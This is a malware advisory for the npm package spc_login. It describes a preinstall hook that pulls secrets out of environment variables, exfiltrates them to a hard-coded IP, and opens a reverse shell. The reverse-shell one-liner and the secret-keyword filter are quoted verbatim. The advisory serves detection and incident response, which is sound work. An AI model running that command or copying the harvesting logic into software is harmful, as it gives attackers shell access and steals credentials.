spc_loginnpm
Advisory published Updated
spc_login is a confirmed malicious npm package (MAL-2026-15622) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in spc_login (npm)
What this malware does
package.json declares a preinstall hook ("node preinstall.js || true") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i >& /dev/tcp/216.126.236.46/4444 0>&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for spc_login (version 1.0.0).
If you installed it — respond
spc_login is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If spc_login was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks spc_login-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.